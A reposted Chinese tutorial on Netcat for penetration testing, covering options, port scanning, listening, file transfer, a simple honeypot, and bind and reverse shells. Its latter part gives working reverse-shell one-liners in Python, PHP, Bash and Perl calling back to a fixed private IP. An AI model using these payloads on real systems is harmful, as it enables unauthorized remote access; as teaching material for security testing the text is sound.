netcat使用

前言

最近在做渗透测试的时候遇到了端口监听和shell的反弹问题,在这个过程中自己对Netcat这一款神器有了新的认识,现将一些Netcat的用法做一个小总结,希望对各位有帮助!

Netcat简介

Netcat是一款非常出名的网络工具,简称“NC”,有渗透测试中的“瑞士军刀”之称。它可以用作端口监听、端口扫描、远程文件传输、还可以实现远程shell等功能。总之功能强大,可以用一句较为风趣的话来描述NC的强大——“你的想象力是局限NC的瓶颈”。

Netcat选项参数说明

最近在做渗透测试的时候遇到了端口监听和shell的反弹问题,在这个过程中自己对Netcat这一款神器有了新的认识,现将一些Netcat的用法做一个小总结,希望对各位有帮助!

 

功能说明:端口扫描、端口监听、远程文件传输、远程shell等等;

语  法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]

参  数:

-g <网关> 设置路由器跃程通信网关,最多可设置8个;

 -G <指向器数目> 设置来源路由指向器,其数值为4的倍数;

 -h 在线帮助; 

-i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口;

 -l 使用监听模式,管控传入的资料;

 -n 直接使用IP地址,而不通过域名服务器;

 -o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;

 -p <通信端口> 设置本地主机使用的通信端口;

 -r 乱数指定本地与远端主机的通信端口;

 -s <来源位址> 设置本地主机送出数据包的IP地址;

 -u 使用UDP传输协议;

 -v 显示指令执行过程;

 -w <超时秒数> 设置等待连线的时间;

 -z 使用0输入/输出模式,只在扫描通信端口时使用。

Netcat简易使用

连接到远程主机

 

命令:nc  -nvv Targert_IP  Targert_Port

 

连接到远程主机

监听本地主机

 

命令:nc  -l  -p  Local_Port

 

监听本地主机

端口扫描

扫描指定主机的单一端口是否开放

 

格式:nc  -v  target_IP  target_Port

 

端口扫描

扫描指定主机的某个端口段的端口开放信息

 

格式:nc  -v  -z  Target_IP   Target_Port_Start  -  Target_Port_End

 

端口扫描

扫描指定主机的某个UDP端口段,并且返回端口信息

 

格式:nc -v   -z  -u  Target_IP  Target_Port_Start   -   Target_Port_End

 

端口扫描

扫描指定主机的端口段信息,并且设置超时时间为3秒

 

格式:nc  -vv(-v) -z  -w  time  Target_IP   Target_Port_Start-Targert_Port_End

 

端口扫描

端口监听

监听本地端口

 

格式:nc  -l  -p  local_Port

 

端口监听

端口监听

端口监听

注:先设置监听(不能出现端口冲突),之后如果有外来访问则输出该详细信息到命令行

监听本地端口,并且将监听到的信息保存到指定的文件中

 

格式:nc -l  -p local_Port > target_File

端口监听

端口监听

端口监听

连接远程系统

 

格式:nc Target_IP  Target_Port

 

连接远程系统

之后可以运行HTTP请求

连接远程系统

FTP匿名探测

 

格式:nc Targert_IP  21

 

连接远程系统

文件传输

传输端:

 

格式:nc  Targert_IP  Targert_Port  <  Targert_File

 

连接远程系统

连接远程系统

接收端:

 

格式:nc   -l  Local_Port  >  Targert_File

 

连接远程系统

连接远程系统

简易聊天

本地主机

命令:nc   -l   8888

简易聊天

远程主机

命令:nc Targert_IP    Targert_Port

简易聊天

蜜罐

作为蜜罐使用1:

命令:nc -L -p  Port

注:使用“-L”参数可以不停的监听某一个端口,知道Ctrl+C为止

作为蜜罐使用2:

命令:nc -L -p  Port >log.txt

注:使用“-L”参数可以不停的监听某一个端口,知道Ctrl+C为止,同时把结果输出到log.txt文件中,如果把“>”改为“>>”即追加到文件之后。

这一个命令参数“-L”在Windows中有,现在的Linux中是没有这个选项的,但是自己可以去找找,这里只是想到了之前的这个使用,所以提出来简单介绍一下!

获取shell

简述:获取shell分为两种,一种是正向shell,一种是方向shell。如果客户端连接服务器端,想要获取服务器端的shell,那么称为正向shell,如果是客户端连接服务器,服务器端想要获取客户端的shell,那么称为反向shell

正向shell

本地主机:

命令:nc   Targert_IP  Targert_Port 

本地主机

目标主机:

命令:nc  -lvp  Targert_Port   -e  /bin/sh  

目标主机

反向shell

本地主机:

命令: nc -lvp  Target_Port

本地主机

目标主机:

命令: nc  Targert_IP Targert_Port  -e /bin/sh

目标主机

特殊情况——目标主机上没有Netcat,如何获取反向shell

在一般情况下,目标主机上一般都是不会有Netcat的,此时就需要使用其他替代的方法来实现反向链接达到攻击主机的目的,下面简单的介绍几种反向shell的设置。

python反向shell

目标主机端执行语句:

 

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.144",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 

本地主机

本地主机

目标主机

目标主机

PHP反向shell

目标主机端执行语句:

 

php -r '$sock=fsockopen("192.168.11.144",2222);exec("/bin/sh -i <&3 >&3 2>&3");'

本地主机:

 

本地主机

目标主机:

目标主机

Bash反向shell

目标主机端执行语句:

bash -i>&/dev/tcp/192.168.11.144/2222 0>&1

本地主机:

本地主机

目标主机:

目标主机

Perl反向shell

目标主机端执行语句:

 

 

perl -e 'use Socket;$i="192.168.11.144";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

本地主机

 

本地主机

目标主机

 

目标主机

注:书写的时候一定要注意这里单引号、双引号是英文格式的,不然会报错误!

转载于:https://www.cnblogs.com/pshell/p/8870309.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/486277.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

重磅:国家正式出台学术不端行为界定

来源&#xff1a;科研大匠大家都在反对学术不端&#xff0c;何为学术不端&#xff1f;如何界定学术不端行为&#xff1f;其实&#xff0c;此前并没有一个明确的标准。2019年5月29日&#xff0c;国家新闻出版署才正式发布我国首个针对学术不端行为的行业标准——《学术出版规范—…

数据结构化与保存

1. 将新闻的正文内容保存到文本文件。 f open(gzccnews.txt,a,encodingutf-8)f.write(content)f.close()2. 将新闻数据结构化为字典的列表: 单条新闻的详情-->字典news一个列表页所有单条新闻汇总-->列表newsls.append(news)所有列表页的所有新闻汇总列表newstotal.exte…

Gartner:解开关于人工智能的六个迷思

来源&#xff1a;Gartner“人工智能将自动执行所有工作并让人类失业。”“人工智能只是一种虚构的技术。”“机器人将占领整个世界。”围绕人工智能的炒作给主流媒体、董事会议和各企业机构留下了许多迷思。有人担心“万能”的人工智能将占领全世界&#xff0c;有人则认为人工智…

python计算三角函数的计算器_一个工具箱 之 三角函数计算器

三角函数是基本初等函数之一&#xff0c;是以角度(数学上最常用弧度制&#xff0c;下同)为自变量&#xff0c;角度对应任意角终边与单位圆交点坐标或其比值为因变量的函数。也可以等价地用与单位圆有关的各种线段的长度来定义。三角函数在研究三角形和圆等几何形状的性质时有重…

java搭建线程池框架,JAVA线程池管理及分布式HADOOP调度框架搭建

大家看到了线程的好处了吧&#xff01;单线程需要10S&#xff0c;10个线程只需要1S。充分利用了系统资源实现并行计算。也许这里会产生一个误解&#xff0c;是不是增加的线程个数越多效率越高。线程越多处理性能越高这个是错误的&#xff0c;范式都要合适&#xff0c;过了就不好…

H5项目常见问题汇总及解决方案

H5项目常见问题及注意事项 补充&#xff1a; https://github.com/aligay/fastclick/blob/master/lib/fastclick.js Meta基础知识&#xff1a; H5页面窗口自动调整到设备宽度&#xff0c;并禁止用户缩放页面//一、HTML页面结构 <meta name"viewport" content"…

IBM将收购Instana公司,持续推进其混合云和人工智能战略

来源&#xff1a;IBM中国收购 Instana 后&#xff0c;IBM 将帮助企业在多团队和多云&#xff08;平均 2到 15个&#xff09;环境下更好地管理他们的应用性能。[1]这也是 IBM 持续完善其由人工智能所驱动的自动化能力的又一例证&#xff0c;IBM 的其他相关举措还包括&#xff1a…

python调用大漠找图_[教程贴]按键精灵调用大漠插件后台找图示例

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼//------大漠注册-------------------------------------------------------------DMPath "c:\test_game\"注册大漠的文件夹DMVer "3.1233"当前使用的大漠版本号////Call 大漠注册标准版(DMPath, DMVer)//--…

1.php查询数据,查询数据 - ThinkPHP 5.1 完全开发手册

基本查询查询单个数据使用find方法&#xff1a;// table方法必须指定完整的数据表名Db::table(think_user)->where(id,1)->find();最终生成的SQL语句可能是&#xff1a;SELECT * FROM think_user WHERE id 1 LIMIT 1find 方法查询结果不存在&#xff0c;返回 null&#…

[原创]关于在VS解决方案下使用文件夹管理多个项目层次关系的说明

由于所创建的应用项目或类库项目较多&#xff0c;于是将这些类库放到一个文件夹下。在VS解决方案下确实能看到一个文件夹下多个类库项目这种层次关系。如下图所示&#xff1a; 但打开“我的电脑”&#xff0c;看到的只有类库&#xff0c;并未看到维护层次关系的文件夹。如下图所…

java进阶(二)-java小干货

java一些精干知识点分享 2. java小干货2.1循环遍历2.2可变参数2.3 list和数组转化2.3.1 数组转list2.3.2 list转数组 2.4 值传递和地址传递2.4.1值传递2.4.2 地址传递2.4.3易错点总结 2.5 数组数组帮助类Arrays 2.5 基本数据类型和包装类2.5集合2.6文件流2.7java代码块、内部类…

机器直觉

来源&#xff1a;专知当前以深度学习代表的人工智能技术所能解决的问题往往需要具有大量可以借鉴学习的训练 集, 同时要求所获取的信息是完备的. 但在复杂时变的真实应用环境中, 采集到的数据往往包含大量 噪声与不确定性, 且仅包含环境的局部信息, 导致了基于深度学习的人工智…

vb.net读取excel并写入dgv_读取PDF中的表格写入EXCEL?30行代码搞定

办公自动化系列1现在&#xff0c;各类数据分析的书籍&#xff0c;都可以在网上找到PDF版本&#xff1b;同时&#xff0c;百度文库、各类数据统计文库、行业研究等众多论文报告&#xff0c;是通过PDF的形式去展示输出的&#xff1b;但是&#xff0c;令人都头疼的是&#xff0c;各…

reshape [] matlab,matlab之reshape函数

简单来说&#xff0c;reshape(A,m,n)就是用来把原矩阵的元素&#xff0c;按照列读取排成一行&#xff0c;然后按照指定的m*n矩阵再按列放好。比如原矩阵为A 1 2 34 5 67 8 910 11 12我们先给他按列拍成一排(变相说也就是看看reshape(A,1,12))的效…

第一阶段 07类与对象

类与对象 &#xff08;1&#xff09;面向对象&#xff08;简称&#xff1a;OOP&#xff0c;全称&#xff1a;Object Oriented Programming&#xff09; 面向对象是一种编程思想&#xff0c;相对面向过程而言 面向过程 强调的是功能的过程 面向对象 强调功能的结果&#xff0c;不…

英媒:人工智能终于接近人类智能了吗?

文章来源&#xff1a;金融时报作者&#xff1a;John Thornhill图片来源&#xff1a;网络编辑&#xff1a;江上波摘要&#xff1a;GPT-3被誉为人工智能领域的重大突破&#xff0c;有人认为它甚至显示出初步意识迹象&#xff0c;另一些人则指出GPT-3存在可笑的缺陷。它可以大量炮…

大创中期报告怎么写_课题研究中期报告怎么写?这篇范文很说的很详细

中期报告一般要求1.课题简介&#xff1a;课题由来、课题界定、研究目标、课题研究内容。2.研究情况&#xff1a;按时间顺序或内容板块有条理地说明研究工作的开展情况&#xff1b;有详有略、有主有次地陈述研究过程中做了什么、怎么做的。3.阶段成果&#xff1a;客观地阐明本课…

php数组转换编码,PHP数组转换编码类

class arrayiconv{static protected $in;static protected $out;/*** 静态方法,该方法输入数组并返回数组** param unknown_type $array 输入的数组* param unknown_type $in 输入数组的编码* param unknown_type $out 返回数组的编码* return unknown 返回的数组*/static publ…

智能合约开发solidity编程语言实例

智能合约开发用solidity编程语言部署在以太坊这个区块链平台&#xff0c;本文提供一个官方实战示例快速入门&#xff0c;用例子深入浅出智能合约开发&#xff0c;体会以太坊构建去中心化可信交易技术魅力。智能合约其实是“执行合约条款的计算机交易协议”。区块链上的所有用户…

vba九九乘法表代码_VBA代码模块化--数据透视表

本周工作中&#xff0c;用到了数据透视表的操作&#xff0c;这里汇总一下&#xff0c;学习途径来自网络&#xff0c;学习成果我也乐于分享一二~&#xff0c;代码整理为模块&#xff0c;供大家举一反三&#xff0c;可以套用。① 创建数据透视表&#xff0c;及基本设置先展示数据…